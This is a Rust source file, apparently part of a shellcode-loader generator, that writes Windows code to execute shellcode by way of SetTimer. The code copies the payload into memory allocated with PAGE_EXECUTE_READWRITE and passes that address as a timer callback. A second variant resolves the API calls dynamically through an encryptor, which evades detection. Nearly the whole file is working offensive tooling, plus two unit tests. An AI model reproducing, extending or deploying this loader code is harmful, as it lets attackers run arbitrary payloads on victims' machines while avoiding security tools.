pub fn set_timer_import() -> String {
     r#"
 use std::ptr;
 "#
     .to_string()
 }
 
 pub fn set_timer_const() -> String {
     format!(
         r#"
 {}
 
 #[link(name = "user32")]
 extern "system" {{
     fn SetTimer(
         hwnd: *mut std::ffi::c_void,
         id_event: usize,
         elapse: u32,
         timer_func: *const std::ffi::c_void,
     ) -> usize;
 
     fn GetMessageW(
         msg: *mut u8,
         hwnd: *mut std::ffi::c_void,
         msg_filter_min: u32,
         msg_filter_max: u32,
     ) -> i32;
 
     fn DispatchMessageW(
         msg: *const u8,
     ) -> isize;
 }}
 "#,
         super::common::COMMON_MEMORY_CONSTANTS
     )
 }
 
 pub fn set_timer_init() -> String {
     String::new()
 }
 
 pub fn set_timer_process() -> String {
     r#"
     unsafe {
         let addr = VirtualAlloc(
             ptr::null_mut(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {
             panic!("failed");
         }
 
         let addr_u8 = addr as *mut u8;
         for i in 0..shellcode.len() {
             *addr_u8.add(i) = shellcode[i];
         }
 
         let dummy: usize = 0;
         let result = SetTimer(ptr::null_mut(), dummy, 0, addr);
         if result == 0 {
             panic!("failed");
         }
 
         let mut msg = [0u8; 48];
         GetMessageW(msg.as_mut_ptr(), ptr::null_mut(), 0, 0);
         DispatchMessageW(msg.as_ptr());
     }
 "#
     .to_string()
 }
 
 fn generate_set_timer_template(function_name: &str) -> String {
     super::common::TechniqueTemplateBuilder::new()
         .with_import(set_timer_import())
         .with_const(set_timer_const())
         .with_init(set_timer_init())
         .with_process(set_timer_process())
         .build(function_name)
 }
 
 pub fn generate_set_timer_code(function_name: &str) -> String {
     generate_set_timer_template(function_name)
 }
 
 fn set_timer_process_with_dynamic_resolver(
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     use super::dynamic_common::*;
 
     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     let set_timer = set_timer_resolver(encryptor)?;
     let get_message_w = get_message_w_resolver(encryptor)?;
     let dispatch_message_w = dispatch_message_w_resolver(encryptor)?;
 
     Ok(format!(
         r#"
     unsafe {{
         {virtual_alloc_resolver}
         {virtual_alloc_cast}
 
         let addr = virtual_alloc(
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {{
             panic!("failed");
         }}
 
         let addr_u8 = addr as *mut u8;
         for i in 0..shellcode.len() {{
             *addr_u8.add(i) = shellcode[i];
         }}
 
         {set_timer_resolver}
         {set_timer_cast}
 
         let dummy: usize = 0;
         let result = set_timer(ptr::null_mut(), dummy, 0, addr);
         if result == 0 {{
             panic!("failed");
         }}
 
         {get_message_w_resolver}
         {get_message_w_cast}
 
         {dispatch_message_w_resolver}
         {dispatch_message_w_cast}
 
         let mut msg = [0u8; 48];
         get_message_w(msg.as_mut_ptr(), ptr::null_mut(), 0, 0);
         dispatch_message_w(msg.as_ptr());
     }}
 "#,
         virtual_alloc_resolver = virtual_alloc.resolver_code,
         virtual_alloc_cast = virtual_alloc.cast_code,
         set_timer_resolver = set_timer.resolver_code,
         set_timer_cast = set_timer.cast_code,
         get_message_w_resolver = get_message_w.resolver_code,
         get_message_w_cast = get_message_w.cast_code,
         dispatch_message_w_resolver = dispatch_message_w.resolver_code,
         dispatch_message_w_cast = dispatch_message_w.cast_code,
     ))
 }
 
 fn generate_set_timer_template_with_dynamic_resolver(
     function_name: &str,
     _encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     let process_code = set_timer_process_with_dynamic_resolver(encryptor)?;
 
     Ok(super::common::TechniqueTemplateBuilder::new()
         .with_import(set_timer_import())
         .with_const(set_timer_const())
         .with_init(set_timer_init())
         .with_process(process_code)
         .build(function_name))
 }
 
 pub fn generate_set_timer_code_with_dynamic_resolver(
     function_name: &str,
     encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> String {
     generate_set_timer_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
         .unwrap_or_else(|err| {
             panic!(
                 "Failed to generate SetTimer code with dynamic resolver (encryption: {}): {}",
                 encryption_type, err
             )
         })
 }
 
 pub struct SetTimerGenerator;
 
 impl super::trait_generator::TechniqueGenerator for SetTimerGenerator {
     fn generate_code(&self, _process: &str, function_name: &str) -> String {
         generate_set_timer_code(function_name)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         _process: &str,
         function_name: &str,
         encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         generate_set_timer_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
     }
 
     fn requires_process(&self) -> bool {
         false
     }
 
     fn name(&self) -> &'static str {
         "SetTimer"
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_set_timer_template_contains_all_parts() {
         let template = generate_set_timer_template("MyFunction");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("MEM_COMMIT"));
         assert!(template.contains("SetTimer"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("VirtualAlloc"));
     }
 
     #[test]
     fn test_generate_set_timer_code() {
         let code = generate_set_timer_code("MyRandomFunc");
         assert!(code.contains("fn MyRandomFunc"));
         assert!(code.contains("SetTimer"));
         assert!(code.contains("GetMessageW"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit